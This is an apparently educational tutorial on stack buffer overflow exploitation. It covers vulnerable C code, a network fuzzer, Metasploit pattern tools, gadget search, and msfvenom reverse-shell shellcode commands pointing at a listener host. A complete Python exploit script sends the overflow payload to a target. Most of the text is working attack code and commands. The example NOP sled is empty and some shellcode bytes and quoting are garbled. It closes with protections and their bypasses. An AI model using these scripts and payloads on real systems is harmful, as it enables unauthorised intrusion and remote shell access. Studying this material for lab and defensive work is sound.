Buffer Overflow Fundamentals

Program memory layout (low to high):
+------------------+
|     Stack        |  ← grows DOWN, local vars, return addresses
|  (grows down)    |
+------------------+
|                  |
+------------------+
|      Heap        |  ← grows UP, dynamic allocations (malloc)
|  (grows up)      |
+------------------+
|    .bss          |  uninitialized global vars
+------------------+
|    .data         |  initialized global vars
+------------------+
|    .text         |  program code (executable)
+------------------+

Stack frame for a function call:
High memory
+------------------+
| function args    |  pushed by caller
+------------------+
| return address   |  EIP saved by CALL instruction
+------------------+
| saved EBP        |  old frame pointer
+------------------+
| local variables  |  buffer is here!
+------------------+ ← ESP (top of stack)
Low memory

Registers:
EIP: Instruction Pointer — address of NEXT instruction to execute
ESP: Stack Pointer — top of current stack
EBP: Base Pointer — reference to current stack frame

// Vulnerable C code:
void vulnerable(char *input) {
    char buffer[64];       // 64-byte buffer on stack
    strcpy(buffer, input); // no bounds check!
    // if input > 64 bytes:
    // buffer overflows → overwrites saved EBP → overwrites return address (EIP)
}

int main() {
    char user_input[512];
    gets(user_input);      // another dangerous function
    vulnerable(user_input);
    return 0;
}

// When function returns:
// CPU executes "ret" → pops return address into EIP
// If we overwrote return address → EIP points to OUR shellcode!

#!/usr/bin/env python3
# fuzzer.py — find the crash point
import socket

target_ip = "192.168.1.100"
target_port = 9999

payload = b"A" * 100  # start small

for size in range(100, 5000, 100):
    try:
        payload = b"A" * size
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((target_ip, target_port))
        s.send(payload)
        s.close()
        print(f"Sent {size} bytes — no crash")
    except Exception as e:
        print(f"Crashed at approximately {size} bytes!")
        break

# Generate unique pattern (Metasploit):
msf-pattern_create -l 3000
# Output: Aa0Aa1Aa2Aa3Aa4Aa5Aa6... (unique 3000-char pattern)

# Send pattern to crash the app
# In GDB/debugger: check EIP value on crash
# EIP = 0x39624138 (example)

# Find the offset:
msf-pattern_offset -l 3000 -q 0x39624138
# Output: Exact match at offset 1978
# This means: at byte 1978, we control EIP!

# exploit.py — verify EIP control
import socket

target_ip = "192.168.1.100"
target_port = 9999
offset = 1978

payload = b"A" * offset       # fill buffer
payload += b"B" * 4           # overwrite EIP with 'BBBB' (0x42424242)
payload += b"C" * (3000 - offset - 4)  # rest of buffer

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))
s.send(payload)
# EIP should now be 0x42424242 — we control it!

# Bad chars: characters the app filters/corrupts (null 0x00, newline 0x0a, etc.)
# Send all chars 0x01-0xFF and see which are missing/corrupted in memory

badchars_test = bytearray(range(0x01, 0x100))

payload = b"A" * offset
payload += b"B" * 4           # EIP placeholder
payload += bytes(badchars_test)  # all bytes after EIP

# In GDB: examine memory at ESP after crash
# x/256bx $esp
# Compare output to sent bytes — missing/altered = bad chars

# We need: a memory address containing "JMP ESP" instruction
# When ret executes: EIP = return_address
# We set return_address = address of "JMP ESP"
# JMP ESP jumps to ESP (where our shellcode is!)

# Find JMP ESP in DLLs/executable (Mona.py in Immunity):
!mona jmp -r esp

# From Linux (pwntools):
from pwn import *
elf = ELF('./vulnerable_binary')
jmp_esp = next(elf.search(asm('jmp esp')))
print(hex(jmp_esp))

# ropper:
ropper --file vulnerable_binary --search "jmp esp"
# Output: 0x080481c3 : jmp esp

# msfvenom shellcode (linux/x86 reverse shell, no bad chars):
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.50 LPORT=4444     -b '\x00

' -f python -v shellcode
# -b: bad characters to avoid
# -f python: output as Python variable

# Windows shellcode:
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.50 LPORT=4444     -b '\x00
' -e x86/shikata_ga_nai -f python -v shellcode

#!/usr/bin/env python3
# final_exploit.py
import socket

target_ip = "192.168.1.100"
target_port = 9999

offset = 1978
jmp_esp = 0x080481c3  # address of JMP ESP (little-endian)

# Shellcode generated by msfvenom (replace with actual)
shellcode = (
    b"ÛÀÙt$ô[1ɱ..."  # msfvenom output
)

# NOP sled: 16+ bytes of NOP (0x90) before shellcode
# Ensures shellcode is hit even with slight offset variations
nop_sled = b"" * 16

payload  = b"A" * offset              # fill to return address
payload += jmp_esp.to_bytes(4, 'little')  # overwrite EIP with JMP ESP addr
payload += nop_sled                   # NOPs before shellcode
payload += shellcode                  # reverse shell shellcode

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))
s.send(payload)
print("Exploit sent — check listener!")

# Install pwndbg (enhanced GDB for exploit dev):
git clone https://github.com/pwndbg/pwndbg
cd pwndbg && ./setup.sh

# Debug vulnerable binary:
gdb ./vulnerable_binary
(gdb) run $(python3 -c "print('A'*1978 + 'BBBB')")

# After crash:
(gdb) info registers   # check EIP, ESP, EBP
(gdb) x/64bx $esp      # examine 64 bytes at ESP (our shellcode area)
(gdb) x/i $eip         # instruction at EIP

# With pwndbg:
pwndbg> cyclic 3000    # create pattern
pwndbg> cyclic -l 0x62616169  # find offset
pwndbg> checksec       # check binary protections (NX, ASLR, PIE, stack canary)

ASLR (Address Space Layout Randomization): randomizes base addresses
→ Bypass: info leak, brute force, return-to-libc

NX/DEP (Non-Executable stack): stack is not executable
→ Bypass: Return-Oriented Programming (ROP gadgets)

Stack Canary: random value on stack before return address
→ Bypass: info leak the canary value

PIE (Position Independent Executable): code at random address
→ Bypass: leak code address, calculate offsets

Stack protections make exploitation much harder:
gcc -fstack-protector-all → stack canary
-z noexecstack → NX stack
-pie -fPIE → PIE